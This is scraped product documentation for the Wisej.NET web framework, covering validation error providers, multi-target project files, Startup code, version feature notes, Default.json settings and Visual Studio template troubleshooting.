Once you add validation rules to a control, the Validation component will automatically attach to the control's Validating and Validated events and invoke the rules in sequence. When a rule fails to validate, it will set the property of the control being validated, and set the e.Cancel property of the event to true.

Validation messages are typically displayed in an error tooltip by setting the property of an editor control. A second way to show validation errors, is to use the extender. However, an application would have to explicitly set the error message in code when processing the Validating event.

Using the extender.

On a separate (which now implements the IErrorProvider interface). The Label is automatically show or hidden.

On any custom implementation of the new IErrorProvider interface: i.e, a , a slide-in Panel, any logger, etc.

IErrorProvider. Exposes the same two public methods implemented by the existing component. Allows an application to have full control of where an how to show error information related to data field validation. The Label control now implements IErrorProvider.

To add multiple targets to your Wisej.NET application, ensure the project uses the format and add the following tag.

In our sources we used and conditional property groups in the project file to compile "net48/Test.cs" only on .NET 4.8 and "net6.0/Test.cs" only on .NET 6.

Wisej.NET 3 introduces a new approach for creating and working with projects based on ASP.NET Core. The changes include a new , Kestrel Web Server, and more.

= false

= true

= false (.NET Framework)

= bin/ (.NET Framework)

📂
Visual Studio Marketplace
BindingList<>
ObservableCollection<>
INotifyPropertyChanged
Services and Dependency Injection
Tour Panel Extension's
Templates to the Marketplace
Navigation App Templates
TestProject.io
here
popup window
update
project format
designer in Visual Studio
conditional properties
Application.Download
Application.DownloadAndOpen
layouts
DisplayRectangle
AutoLayout Panel
Commanding
context
command source
Button
SplitButton
Command
CommandChanged
ICommand
ICommand.CanExecute
Command
ILabel
IImage
IReadOnly
IModified
IServiceProvider
AddService
GetService
DataGridView
DataGridView
VirtualMode
CellValueNeeded
CellValuePushed
VirtualMode
VirtualMode
DataRead
VirtualMode
available
TypeConverter
IExtenderProperty
BindingSource
MethodInfo
InvalidMessage
InvalidMessage
ErrorProvider
ErrorProvider
ℹ️
Label
MessageBox
ErrorProvider
Commanding
Commanding
Custom Resolution
LogoGetting StartedWisej.NET Hybrid
App.csproj
<CopyLocalLockFileAssemblies>true</CopyLocalLockFileAssemblies>
LogoWisej-3-Chat 3.5.0-beta.29nuget
// add support for .NET Framework v4.8, and .NET 6.
<TargetFrameworks>net48;net6.0</TargetFrameworks>
#if NET48
    Console.WriteLine("NET48");
#endif
<!-- There is no $property that is for all versions of .NET Core -->
<!-- TrimEnd() method converts the target to "net" for .NET Framework and "net{#}." for .NET Core -->

<!-- Don't compile Startup.cs on .NET Framework -->
<PropertyGroup Condition="'$(TargetFramework.TrimEnd(`0123456789`))'=='net'">
    <Compile Remove="Startup.cs" />
</PropertyGroup>
// In /code/Test.cs
public partial class Test
{
    public string MethodForAllTargets()
    {
        return "This is .NET";
    }
}

// In /code/net48/Test.cs
public partial class Test
{
    public string MethodForOneTarget()
    {
        return "This is .NET 4.8";
    }
}

// In /code/net6.0/Test.cs
public partial class Test
{
    public string MethodForOneTarget()
    {
        return "This is .NET 6.0";
    }
}
LogoWisej-3-Signature 3.5.0-beta.29nuget
LogoWisej-3-PullToRefresh 3.5.0-beta.29nuget
LogoWisej-3-Tesseract 3.5.0-beta.29nuget
LogoWisej-3-Dynamsoft 3.5.0-beta.29nuget
LogoWisej-3-MobiScroll 3.5.0-beta.29nuget
Logowisej-examples/Wisej.DxDashboardSample at 3.2 · iceteagroup/wisej-examplesGitHub
<Project Sdk="Microsoft.NET.Sdk.Web">

  <PropertyGroup>
    <TargetFrameworks>net48;net6.0</TargetFrameworks>
    <PlatformTarget>AnyCPU</PlatformTarget>
    <GenerateAssemblyInfo>false</GenerateAssemblyInfo>
    <EmbeddedResourceUseDependentUponConvention>true</EmbeddedResourceUseDependentUponConvention>
    <RootNamespace>$(MSBuildProjectName.Replace(" ", "_").Replace("-", "_"))</RootNamespace>
    <NoWarn>CA1416</NoWarn>
  </PropertyGroup>

  <PropertyGroup Condition="'$(TargetFramework.TrimEnd(`0123456789`))'=='net'">
    <OutputPath>bin\</OutputPath>
    <StartupObject></StartupObject>
    <OutputType>Library</OutputType>
    <RunCommand>$(ProgramFiles)\IIS Express\iisexpress.exe</RunCommand>
    <AppendTargetFrameworkToOutputPath>false</AppendTargetFrameworkToOutputPath>
    <RunArguments>/path:"$(MSBuildProjectDirectory)" /port:5000</RunArguments>
  </PropertyGroup>

  <PropertyGroup Condition="'$(TargetFramework.TrimEnd(`0123456789`))'!='net'">
    <StartupObject>$(RootNamespace).Startup</StartupObject>
  </PropertyGroup>

  <ItemGroup Condition="'$(TargetFramework.TrimEnd(`0123456789`))'=='net'">
    <Reference Include="Microsoft.CSharp" />
    <Reference Include="System.Windows.Forms"><Aliases>swf</Aliases></Reference>
    <Reference Include="System.Data.DataSetExtensions" />
    <Compile Remove="Startup.cs" />
    <Content Include="Startup.cs"/>
  </ItemGroup>

  <ItemGroup>
    <Folder Include="Themes\" />
  </ItemGroup>

  <ItemGroup>
    <Content Update="Default.json">
      <CopyToOutputDirectory>Never</CopyToOutputDirectory>
    </Content>
    <Content Update="Web.config">
      <CopyToOutputDirectory>Never</CopyToOutputDirectory>
    </Content>
  </ItemGroup>

  <ItemGroup>
    <None Remove="Default.html" />
    <None Remove="favicon.ico" />
  </ItemGroup>

  <ItemGroup>
    <Content Include="Default.html">
      <CopyToPublishDirectory>Always</CopyToPublishDirectory>
    </Content>
    <Content Include="favicon.ico">
      <CopyToPublishDirectory>Always</CopyToPublishDirectory>
    </Content>
  </ItemGroup>

  <ItemGroup>
    <PackageReference Include="Wisej-3" Version="3.0.*" />
    <PackageReference Include="System.Data.SqlClient" Version="4.*" />
  </ItemGroup>

</Project>
<Project Sdk="Microsoft.NET.Sdk.Web">

  <PropertyGroup>
    <TargetFrameworks>net48;net6.0</TargetFrameworks>
    <PlatformTarget>AnyCPU</PlatformTarget>
    <GenerateAssemblyInfo>false</GenerateAssemblyInfo>
    <EmbeddedResourceUseDependentUponConvention>true</EmbeddedResourceUseDependentUponConvention>
  </PropertyGroup>

  <PropertyGroup Condition="'$(TargetFramework.TrimEnd(`0123456789`))'=='net'">
    <OutputPath>bin\</OutputPath>
    <StartupObject></StartupObject>
    <OutputType>Library</OutputType>
    <RunCommand>$(ProgramFiles)\IIS Express\iisexpress.exe</RunCommand>
    <AppendTargetFrameworkToOutputPath>false</AppendTargetFrameworkToOutputPath>
    <RunArguments>/path:"$(MSBuildProjectDirectory)" /port:5000</RunArguments>
  </PropertyGroup>

  <PropertyGroup Condition="'$(TargetFramework.TrimEnd(`0123456789`))'!='net'">
    <StartupObject>$(RootNamespace).Startup</StartupObject>
  </PropertyGroup>

  <ItemGroup Condition="'$(TargetFramework.TrimEnd(`0123456789`))'=='net'">
    <Reference Include="Microsoft.CSharp" />
    <Reference Include="System.Windows.Forms" />
    <Compile Remove="Startup.vb" />
    <Content Include="Startup.vb"/>
  </ItemGroup>

  <ItemGroup>
    <Folder Include="Themes\" />
  </ItemGroup>

  <ItemGroup>
    <Content Update="Default.json">
      <CopyToOutputDirectory>Never</CopyToOutputDirectory>
    </Content>
    <Content Update="Web.config">
      <CopyToOutputDirectory>Never</CopyToOutputDirectory>
    </Content>
  </ItemGroup>
  
  <ItemGroup>
    <PackageReference Include="Wisej-3" Version="3.*" />
  </ItemGroup>

</Project>
using Microsoft.AspNetCore.Builder;
using Microsoft.Extensions.Configuration;
using Wisej.Core;

namespace $safeprojectname$
{
	/// <summary>
	/// The Startup class configures services and the app's request pipeline.
	/// For more information on how to configure your application, visit https://go.microsoft.com/fwlink/?LinkID=398940.
	/// </summary>
	public class Startup
	{
		public Startup(IConfiguration configuration)
		{
			Configuration = configuration;
		}
		public IConfiguration Configuration { get; }

		public static void Main(string[] args)
		{
			var builder = WebApplication.CreateBuilder(new WebApplicationOptions
			{
				Args = args,
				WebRootPath = "./"
			});

			var app = builder.Build();
			app.UseWisej();
			app.UseFileServer();
			app.Run();
		}
	}
}
Imports Microsoft.AspNetCore.Builder
Imports Microsoft.AspNetCore.Hosting
Imports Microsoft.Extensions.Configuration
Imports Microsoft.Extensions.DependencyInjection
Imports Microsoft.Extensions.Hosting
Imports Wisej.Core

''' <summary>
''' The Startup class configures services and the app's request pipeline.
''' For more information on how to configure your application, visit https://go.microsoft.com/fwlink/?LinkID=398940.
''' </summary>
Public Class Startup

	Public Sub New(configuration As IConfiguration)
		Me.Configuration = configuration
	End Sub
	Public ReadOnly Property Configuration As IConfiguration

	Public Shared Sub Main(args As String())

		Host.CreateDefaultBuilder(args).ConfigureWebHostDefaults(
			Sub(builder)
				builder.UseWebRoot("./")
				builder.UseStartup(Of Startup)()
			End Sub).Build().Run()
	End Sub

	'' This method gets called by the runtime. Use this method to add services to the container.
	Public Sub ConfigureServices(services As IServiceCollection)

	End Sub

	'' This method gets called by the runtime. Use this method to configure the HTTP request pipeline.
	Public Sub Configure(app As IApplicationBuilder, env As IWebHostEnvironment)
		app.UseWisej()
		app.UseFileServer()
	End Sub

End Class
launchSettings.json
{
    "iisSettings": {
        "windowsAuthentication": false,
        "anonymousAuthentication": true,
        "iisExpress": {
            "applicationUrl": "http://localhost:54429",
            "sslPort": 0
        }
    },
    "profiles": {
        "MyProjectName": {
            "commandName": "Project",
            "launchBrowser": true,
            "applicationUrl": "http://localhost:5000"
        }
    }
}
Project Properties
https://wisej.com/blog/passwordless_authentication_webauthn/wisej.com
Passwordless Authentication in Wisej.NET using WebAuthn
LogoC# preprocessor directivesdocsmsft
Binding.Parse
Binding.Format
DataSourceUpdateMode
ControlUpdateMode
SDK-Project
Shared Projects
Update Existing Projects
SDK Project Format
GenerateAssemblyInfo
EmbeddedResourceUseDependentUponConvention
AppendTargetFrameworkToOutputPath
OutputPath

Templates

Wisej.NET Visual Studio Templates

You can find Visual Studio templates for previous versions of Wisej.NET below:

For each of the below downloads, unblock the zip (this is important!) and expand into:

Documents\Visual Studio (2019|2022)\Templates\ProjectTemplates\Visual C#

Documents\Visual Studio (2019|2022)\Templates\ProjectTemplates\Visual Basic

Wisej.NET NavigationBar Template

Wisej.NET v3.0

Visual Studio 2019

Visual Studio 2022

Wisej.NET v2.5

Visual Studio 2019

Visual Studio 2022

Wisej.NET v2.2

What's new in 2.0

Wisej.NET 2.0 includes a number of powerful new features that can enhance developers productivity, simplify deployment, customize browser widgets, implement responsive design, and speed up server communications.

Modernized Designer

The new designer adds custom ruler snap lines that can be user defined and saved with the container.

You can select the glyph color and take screenshots of your screens in design mode.

In addition to the action selector you can now also directly setup anchoring by using the arrow buttons.

Ruler Snap Lines

  • You can create an infinite number of vertical or horizontal snap lines for your containers.

  • Just click on the appropriate ruler position.

  • Snap lines are saved with each container so they are reloaded the next time you design it.

Document Outline

This new button in the designer toolbar gives you a quick overview and access to all objects.

Responsive Properties

ResponsiveProperties and corresponding profiles simplify Responsive Design a lot.

Client Properties, Methods, and Events

Wisej.NET now supports many more client-side properties and methods on all controls. It makes it much easier to customize Wisej.NET widgets from server-side code.

  • AutoShowLoader

    Buttons and MenuItems have a new property AutoShowLoader that automatically shows the loader when the widget is clicked - this is a client side event - and removes the loader when the processing on the server is completed.

    It is intended to be used on actions that typically require some time to complete and should give the user immediate feedback, i.e. a login button.

  • CssClass

    Sets custom css class names to the widget. You can also manage the css class names using these methods: AddCssClass, HasCssClass, and RemoveCssClass.

  • States

    Sets a custom array of states that can be used in a custom theme or theme mixin. You can also manage the list of states using these methods: AddState, HasState, and RemoveState.

  • ClientEvents

    Collection of client-side events and JavaScriot event handlers that you can set from the server. You can use the collection directly or use these methods now available to all controls: AddClientEventListener, RemoveClientEventListener, and HasClientEventListener.

  • InitScript

    Sets a custom script that Wisej.NET will execute in the context of the widget when it is first created in the browser.

  • CssStyle

    Sets a custom css style string that is assigned to the widget.

Brotli Compression

  • Wisej.NET already compresses all traffic packages (HTTP and WebSockets) above a certain threshold by default.

  • We now switched from GZIP compression to the Brotli compression algorithm.

  • Our internal tests showed that the compressed response stream is only half the size now.

Enhanced Load Balancing

A Wisej.NET server instance can now decide when to refuse a new session when it receives the first request from the load balance, allowing it to move on to the next instance seamlessly.

This new feature allows the Wisej.NET instance to accept only a certain number of sessions, or to check the memory usage and refuse a request when the memory reaches a certain threshold, or it can use an application-provided function that can refuse the initial request for any reason.

Enhanced Themes

  • Theme Settings

  • Stylesheet Rules

New Templates

  • Inherited Control

  • Custom Loader

    Replaces the initial loader with one of the new spinners or a custom spinners of your choice.

  • Brotli

    Adds Brotli compression support to the application.

  • Healthcheck

What's new in 2.1

Wisej.NET 2.1 consolidates several new features from 2.0, while adding several new controls (including a powerful new DataRepeater) and reaches a high level of stability.

DataRepeater

Labels

All editors have a new Label property. It adds a responsive, localizable and themeable label next to the editor.

The Label supports 5 positions: top, left, bottom, right and inside (this is the material style that shrinks the label when there is content).

The size of the inner label and the inner editor can be set to proportional, fixed, or auto-sized. All the properties can automatically change according to the device profile (e.g. the label can be on top for mobile devices, and on the left for the desktop). Supports mnemonics focus, colors, and many other features.

TimeUpDown Editor

Shape Control

Use the Shape control to frame content, including images, and to handle the four borders of a plain DIV tag. It lets you rotate the item, display circles, ovals, rectangles, and triangles using a simple data-bindable all-purpose control.

You can place it behind the controls to frame, or use it as a container and place the controls inside.

TabOrderManager

Weak Events

We have changed all the static events exposed by the Application class to weak events. This new approach (also present in the WPF platform) prevents the source of the static event from holding on the instance handler. It will prevent applications from accidentally leaking memory when attaching to static events exposed by Wisej.

Virtual Prefetch

All controls that supports the VirtualScroll mode (TreeView, ComboBox, ListBox, ListView and DataRepeater) now have a new PrefetchItems property allowing the pre-loading of a items outside of the visible area to support smoother scrolling.

Infinite Sessions

This is a new configuration option in Default.json (sessionStorage: "local" | "session", the default is "session"). It allows the Wisej.NET application to select the browser's local storage ("local") to store the session id. When coupled with a longer or unlimited session timeout allows a user to reopen the browser, or the Wisej.NET desktop executable, and find their work exactly where they left it.

Impersonation

This is a new configuration option in Default.json. When set to true, it allows the server application to impersonate the user's Windows credentials on the server (e.g. access the DataBase, the File System, other services, etc.).

Sounds

// System sounds.
Application.Play(MessageBoxIcon.Error);

// Custom sounds.
Application.Play("sounds/invoice-saved.wav");
Application.Play("data:audio/wav;base64,//uQRAAA....");
' System sounds.
Application.Play(MessageBoxIcon.Error)

' Custom sounds.
Application.Play("sounds/invoice-saved.wav")
Application.Play("data:audio/wav;base64,//uQRAAA....")

Writable Themes

This new feature allows your application to modify any Wisej.NET theme at runtime by code. You can create themes on the fly for each specific user, or modify the global theme (shared by all users).

Example: Create a new there only for the current user by cloning the current theme and changing the background color of buttons.

var myTheme = new ClientTheme("MyTheme", Application.Theme);
myTheme.Colors.buttonFace = "red";
Application.Theme = myTheme;
Dim myTheme = New ClientTheme("MyTheme", Application.Theme)
myTheme.Colors.buttonFace = "red"
Application.Theme = myTheme

Example: Modify the current theme. If it is a shared theme (from the /Themes folder), the change will affect all users.

// Notice that when a member name that is also a keyword you can prefix it with @.
Application.Theme.Appearances.button.states.@default.properties.textColor = "red";

// Member names that cannot be used in C# or VB.NET can be addressed using them as strings.
Application.Theme.Appearances["button-info"].states["default"].properties.textColor = "red";
Application.Theme.Appearances.button.states.[default].properties.textColor = "red"
Application.Theme.Appearances("button-info").states("default").properties.textColor = "red"
var myTheme = new ClientTheme("MyTheme", Application.Theme);
myTheme.Colors.buttonFace = "red";

File.WriteAllText(Application.MapPath("Themes\\MyTheme.theme"), myTheme.ToJSON());
Dim myTheme = New ClientTheme("MyTheme", Application.Theme)
myTheme.Colors.buttonFace = "red"

File.WriteAllText(Application.MapPath("Themes\MyTheme.theme"), myTheme.ToJSON())

What's new in 2.5

Wisej.NET 2.5 requires .NET Framework 4.8. This is the last supported .NET version from Microsoft. Wisej.NET 3 will target both .NET Framework 4.8 and .NET Core 5, 6, 7, …

Edge Designer

Wisej.NET 2.5 can use the latest Edge/Chrome in the designer, introducing the following features:

  • Multiple parallel rendering engines

  • Use widgets based on the latest ES6 ECMAScript

  • Use JavaScript arrow functions

  • Accurate SVG positioning

  • Faster rendering

  • Visual Studio 2022 64bit

Always make sure that you have the latest WebView2 SDK installer from:

Learn more about WebView2 here:

Edge in Theme Builder

Theme Builder now can use the latest Edge/Chrome browser to show the preview controls and to run your applications while working on the theme.

As an added bonus, now you can detach the browser tab and work with your application running on a separate window while working on the theme at the same time!

DataGridView New Features

Summary Rows

This powerful addition allows you to aggregate and style rows using the standard functions or any custom formula you may need in your code. Aggregated rows are added either above the group, below the group, or can become parent rows in a hierarchical structure.

Frozen Rows

Improvements and Bug Fixes

Wisej.NET 2.5 consolidates several enhancements and bug fixes:

  • JavaScript Optimization. We have removed all the JavaScript code that could cause the V8 engine to recompile a class improving client side speed.

  • CharacterCasing Property. All controls that show a text (i.e. Label, Button, MenuItem, ...) have a new CharacterCasing property allowing an app to change the case if the text without having to alter the code.

  • Design Rendering speed. Several improvements and the new parallel renderers improve the designer experience.

  • New Bootstrap Theme. We have added a new bootstrap theme and the full bootstrap icon-set in a new Wisej.NET Icon Pack.

NuGet Deployment

This is a major change in the way we deploy Wisej.NET and it prepares for the next major Wisej.NET 3 release with support for dual framework targeting and .NET 6+.

Local NuGet Repo

Wisej.Framework.dll will be installed in a local NuGet repository at %ProgramFiles%/IceTeaGroup/Wisej.NET 2.5/nuget as a NuGet package named "Wisej.NET Local". It will not be copied to $ProgramFiles%/IceTeaGroup/Wisej.NET 2.5/bin anymore.

This change will allow developers to switch to any Wisej.NET version without having to run the installer again, or uninstalling and reinstalling. Simply open the NuGet Package Manager and select either "Wisej.NET Local" or nuget.org and filter for "Wisej-2".

The new templates and existing projects will have to use the NuGet Package Manager to reference Wisej.NET 2.5. This is important because it will allow Wisej.NET 3 to deploy the Wisej.Framework assembly for multiple targets.

Extensions NuGet Packages

All the extensions will only be available at NuGet.org.

Visual Studio Configuration

In order to use the new <PackageReference> syntax in your .csproj or .vbproj project files, instead of the old Packages.config file, make sure this option in Visual Studio is set to PackageReference:

Components in the Toolbox

Starting with Wisej.NET 2.5 you will not find the Wisej.NET components in the toolbox in Visual Studio like before. We have stopped installing the toolbox and instead rely on NuGet and Visual Studio automatic population of the toolbox.

Make sure that your Visual Studio has the "Automatically Populate Toolbox" feature turned on.

This change eliminates the common problem of the Wisej.NET toolbox disappearing, allows us to add Wisej.NET to multiple version of Visual Studio installed on the same machine, and gives us the flexibility to add and publish extensions more frequently.

Missing Icons in the Toolbox

A downside is that Microsoft still doesn't support toolbox icons for NuGet packages. If you really want to add Wisej.NET Components with their icon to the toolbox, follow these steps:

  1. Add a new tab to the toolbox and name it "Wisej" (don't name it Wisej.NET 2.5 or it will be replaced by the NuGet Package).

  2. Locate the Wisej.Framework.dll (or extension dll) and simply drag & drop it on the new toolbox tab.

Other Languages

Wisej.NET is not limited to C# or VB.NET! We have tested it with other .NET languages and made sure it works also with COBOL, x# (CLIPPER, dBase, Vulcan.NET) and F#.

COBOL

MicroFocus VisualCOBOL, NetCOBOL, Raincode COBOL can build single-page web apps with Wisej!

X# (Clipper, dBase, FoxPro)

CLIPPER, dBase, Vulcan.NET, XSharp can build single-page web apps with Wisej!

New Project

After launching Visual Studio, click Create a new Project, select your language (either Visual Basic or C#), then select Wisej, and you will see the list of Wisej.NET templates.

Wisej.NET works with any .NET language, including C++, F#, X# or COBOL.NET. However, the designer may not have the necessary support, in which case you'd have to write UI code directly.

After you pick a project type, Visual Studio will create a new solution with the project template you have selected and will start up by showing our welcome page.

And that's pretty much it. Now you can compile the project and open Page1 in the designer.

Pick whatever control you need from the toolbox and you have a web application!

Project Types

Web Desktop Application

Creates a project containing a custom desktop container. Looks like your Windows desktop. You can add items to the taskbar, show floating windows, change the position of the taskbar, etc.

You are basically building a desktop environment in the browser.

Web User Control

Creates a library project with a custom Wisej.NET control that can be used in other projects.

Web Application

Creates a web application with a floating window shown in the browser. It's up to you to build a navigation system to manage your application's forms in the browser.

Web Page Application

Creates a web application with a main page where you can drop any control. The page fills the browser. You can navigate from page to page simply by creating more pages and calling their Show() method.

PWA Web Application

Creates a web application with a main page (similar to the Web Page Application). However, it adds the necessary JavaScript and manifest files to make the browser recognize the application as a PWA app.

The app can be installed on the client, and you can control some basic colors and icons in the manifest. Additionally, Wisej.NET creates the client-side web worker that caches locally all the Wisej.NET JavaScript files allowing the app to launch faster.

Wisej.NET applications cannot work offline. However, the PWA template adds and registers with the web worker a folder named Offline. Wisej.NET will automatically preload all the content in /Offline and switch to the /Offline/Default.html page when it detects that the device lost connectivity.

Configuration

Wisej.NET applications are standard Web Projects in Visual Studio. All standard Web.config settings remain valid.

In addition to Web.config, Wisej.NET applications use individual JSON configuration files. A single project can define multiple Wisej.NET applications with one configuration file for each.

Web.config

  • Wisej.LicenseKey

    The server license key required to activate the server. Located under appSettings.

  • Wisej.DefaultTheme

    The default theme name (without extension: e.g. Blue-1) used by the Wisej.NET Designer and all project applications. Each application can override this in its JSON configuration file. Located under appSettings.

  • <compilation debug="true" targetFramework="4.8">

    Wisej.NET reads the "debug" value to determine javascript library minification. When debug is false, Wisej.NET automatically bundles and minifies all required javascript libraries, including core libraries, extension libraries, and custom application libraries.

Wisej.NET requires the module and handler settings in Web.config. We recommend increasing allowed content size to maximum:

All default Wisej.NET settings are predefined in the Web.config file added by Wisej.NET project templates.

Default.json

Each Wisej.NET application defines its configuration using JSON format. The default application uses Default.json.

Configuration settings explained:

  • startup

    Full name of the startup static method. Example: "MyApp.Program.Main, MyApp". Wisej.NET calls this when creating a new session. Define either a simple method without arguments or one with a single NameValueCollection argument to receive URL arguments. Optional - you can use mainWindow instead. If defined, you must create a component to show the user in the Main method: a main page, desktop, or window.

  • mainWindow

    Full name of a view (Page or Form) created at startup. Example: "MyApp.MainView, MyApp". Wisej.NET automatically loads, creates, and shows the window class - either a Wisej.Web.Form or Wisej.Web.Page.

    If both startup and mainWindow are specified, Wisej.NET creates the main window and calls the startup method.

  • theme

    Theme name to load at startup (without extension). Optional - overrides the Web.config theme setting at runtime.

  • url

    The application's page URL. Optional - if omitted, users must type the page URL (e.g., http://server.com/admin.html), unless using Default.html with defaultDocument in Web.config.

    When specified, users can type the application name without extension (e.g., http://server.com/admin).

  • allowedRoutes

    Defines URL routes separated by semicolons. Example: "api;admin;query/users".

    When specified, the application processes the main URL and child paths starting with specified routes. URL changes trigger the Application.ApplicationRefresh event. Check current URL using Application.Url.

allowedRoutes has a known issue with applications having a "." in the project or solution name.

  • debug

    Enables logging to client browser console. Default: false. When enabled, Wisej.NET logs events in the browser's console.

  • culture

    Application's default culture. Default: "auto" (detects browser culture).

  • rightToLeft

  • sessionTimeout

    Session timeout in seconds. Default: 120. Minimum: 60.

    Time without user activity before firing Application.SessionTimeout. If unhandled, shows built-in timeout countdown window.

    Note: Session expiration occurs either when the timeout window completes or after twice the sessionTimeout value (minimum 60 seconds).

    Handle Application.SessionTimeout with e.Handled = true to prevent expiration. Use Application.Exit() to terminate manually.

Application.ApplicationExit is the only event fired on session expiration - this is unrecoverable as the session is already terminated.

  • sessionStorage

    Session ID storage location: "local" (localStorage) or "session" (sessionStorage). Default: "session".

    • "session": Clears when browser closes, abandoning user session

    • "local": Persists in browser storage, attempts session restoration on browser reopen

"local" storage limits browser to 1 session, sharing across tabs/windows. Wisej.NET refreshes tabs on activation to ensure latest state.

  • responseTimeout

    Wisej.NET ajax request timeout in seconds. Default: 300. Minimum: 300.

    Increase for applications with long-running task responses to prevent timeouts.

Only applies to initial load with WebSocket connections, as WebSocket doesn't timeout.

  • pollingInterval

    Automatic polling interval in milliseconds. Default: 0 (disabled). Minimum: 1000.

    Ignored with WebSocket connections. Use Application.StartPolling and Application.EndPolling for manual polling control.

  • autoReload

    Automatically reloads application on session expiration or Application.Exit(). Default: false.

  • secure

    Forces SSL usage. Default: false. Changes HTTP to HTTPS and WebSocket to WSS protocol.

  • impersonate

    Enables automatic user identity impersonation at request start. Default: false.

    Use with <authentication mode="Windows"> for user credential resource access.

  • showLoader

    Controls Wisej.NET ajax loader display. Default: true. When false, shows HTML content during library loading.

  • loaderTimeout

    Ajax loader appearance delay in milliseconds. Default: 5000. Set 0 to disable.

Ajax loader gif uses themed image named "ajax-loader".

  • notAvailableUrl

    URL for page shown when server cannot create new session. Default: "resource.wx/NotAvailable.html,Wisej.Core".

    Wisej.NET checks maxSessions value and license concurrent user limits.

  • notSupportedUrl

    URL for page shown when browser is unsupported. Default: "resource.wx/NotSupported.html,Wisej.Core".

    Wisej.NET verifies XMLHttpRequest support and custom checks via browserCheck.

  • browserCheck

    Custom javascript expression returning true for supported browsers. Example:

  • enableWebSocket

    Enables WebSocket connections when supported. Default: true.

  • webSocketCompressionThreshold Since 3.5.5

    Response size (bytes) triggering server-side compression. Default: 2048. Use -1 to disable, 0 to always compress.

  • maxSessions

    Maximum concurrent active sessions before redirecting to notAvailableUrl. Default: -1 (unlimited).

Setting maxSessions to 0 disables the application, always redirecting to notAvailableUrl.

  • maxModalStack

    Maximum nested modal states (dialogs/message boxes). Default: 10.

  • validateClient

    Enables client request validation using browser's unique client ID. Default: true. Helps prevent session hijacking.

  • validateResources Since 3.5.5

    Validates image, download, and resource requests. Default: false. Blocks non-browser requests.

When validateResources is true, non-browser requests receive 404 response. External viewers/processors (e.g., Google Doc PDF Viewer) will not work.

  • dropDuplicateClicks

    Drops "execute" client events during pending requests. Default: false. Prevents multiple executions from rapid clicking while maintaining other pointer events.

  • disableClientObjectModel

  • enablePWA

    Includes built-in worker process javascript in initial loader. Default: false. Preloads/caches Wisej.NET core scripts and \Offline folder files.

    Use PWA Application template with manifest.json or add it to enable PWA support.

  • offlineUrl

    Navigation URL on connection failure. Default: "". Set to "Offline/Default.html" with enablePWA for cached offline pages.

  • threadPool

    Configures thread pool without machine.config changes. Format: {minWorkerThreads, minCompletionPortThreads, maxWorkerThreads, maxCompletionPortThreads}. Uses system defaults for omitted values.

Typically only adjust minWorkerThreads to CPU cores × expected simultaneous requests. Example: 120 for 12 cores handling 100 simultaneous requests from 1,000 users.

  • embeddedResourcesCacheControl Since 2.5.23

    Cache-Control for embedded resources. Default: "browser" (1-month browser cache). Options:

  • options

  • settings

    Custom application settings map. Example: {jquery: "http://cdn...", rootPath: "c:\users..."}. Access via Application.Configuration.Settings.

[Application Name].json

Additional Wisej.NET applications use their own configuration files named [ApplicationName].json, using the same settings described above.

Troubleshooting

Missing Templates

In case Visual Studio decides not to show the new templates try this:

For Visual Studio 2017 and 2019, open the VS command line and run:

For Visual Studio 2022, open the VS command line and run:

Wisej.NET 2.5 and earlier:

  • Documents\Visual Studio (2019|2022)\Templates\ProjectTemplates\Visual C#

  • Documents\Visual Studio (2019|2022)\Templates\ProjectTemplates\Visual Basic


Wisej.NET 3.0 and above:

Starting with Wisej.NET 3.0, we took the approach of distributing the Designer and the templates in a Visual Studio Extension installer (.vsix).

The path to the templates can vary from one machine to another:

%LOCALAPPDATA%\Microsoft\VisualStudio\17.0_{id}\Extensions\{extension_id}

As an example, it can be something like this:

%LOCALAPPDATA%\Microsoft\VisualStudio\17.0_315d49d1\Extensions\x2rkvlci.xbt

In case the project templates (or item templates) for Wisej.NET are missing, either run the installer again and select Repair, or download the templates below.

If multiple developers use the same machine, installing a VSIX package can become a challenge. To manage this efficiently, you might need to manually install the VSIX package using the Visual Studio Developer Command Prompt. This method ensures that the extension is accessible to all users on the system. You can achieve this by executing the command VSIXInstaller /admin path_to_the_vsix.vsix. This command runs the installer with administrative privileges, making sure the extension is deployed globally rather than limited to a single user profile.


Wisej.NET 4.0

With Wisej.NET 4, developers have access to two distinct designers: one for the .NET Framework (net48) and another for .NET Core (.NET 8.0-windows and later versions).

The designer for the .NET Framework is included in the VSIX installer, which also provides various templates and other Visual Studio add-ons. In contrast, the designer for .NET Core is distributed and updated through the NuGet package that includes Wisej.NET itself.


Download Templates

We also provide the templates to download as another option:

Unblock the zip (this is important!) and expand into:

Documents\Visual Studio (2019|2022)\Templates

Select to overwrite existing files when asked. The zip archives contain the \ItemTemplates and \ProjectTemplates files in the same structure expected by Visual Studio.

Clear Templates Cache

Templates will not show up when starting a Visual Studio Experimental Instance.

Designer Error

Occasionally you may start getting designer errors when opening a container in design mode. The most common error is "Unable to cast type..." It's a well-known issue related to Visual Studio having to load a shadow copy of the assemblies used at design time.

Since assemblies cannot be unloaded in .NET Framework, Visual Studio loads shadow copies of the assemblies loaded by the designer. Sometimes it ends up loading the same assembly multiple times, leading to the "Unable to cast" error because the same type is loaded more than once.

The WebView2 component can be silently updated by Microsoft, these updates can eventually break Wisej.NET's Edge-based renderer.

The current workaround for this type of issue is to switch back to the Internet Explorer renderer, this allows you to use the designer with little to no issues, one side effect would be the use of some complex JavaScript components that don't usually work with IE.

If an opened designer looks empty, that usually means that the WebView2 component is what causing the issue, make sure to click on the "Edge" icon found in the lower left of the Designer window, and report the version number to us.

Clean and Rebuild

Usually, it's enough to:

  1. Close all designer tabs

  2. Close all Visual Studio instances

  3. Delete /bin, /obj, /.vs

  4. Open Visual Studio and reload the solution

  5. Recompile

Clear Designer Assembly Cache

Visual Studio makes shadow copies of the assemblies loaded by the designer here:

%LOCALAPPDATA%\Microsoft\VisualStudio{version}\Designer\ShadowCache

Each installation of Visual Studio has a different unique ID. Visual Studio 2019 versions start with "16.0" and Visual Studio 2022 versions start with "17.0".

Load Balancing

Wisej.NET applications are standard web applications that work seamlessly with load balancers.

However, Wisej.NET goes a step further and gives you additional features to manage the load across several servers. You can configure each server running a Wisej.NET application to accept a a maximum number of sessions, or to be available for the load balancer only if the CPU load is below a certain percentage and/or the memory usage is below a certain level.

Wisej.NET applications use WebSocket connections, which may require configuring your load balancer for TCP rather than HTTP routing. More details below.

Prepare your Wisej.NET App

Preparing Wisej.NET apps for load balancing mainly involves configuring healthcheck parameters. These determine when a server instance should return an error code signaling the load balancer to route requests elsewhere.

To configure healthcheck:

  1. Use Add New Item and select Healthcheck from templates, or

  2. Copy the configuration settings below, or

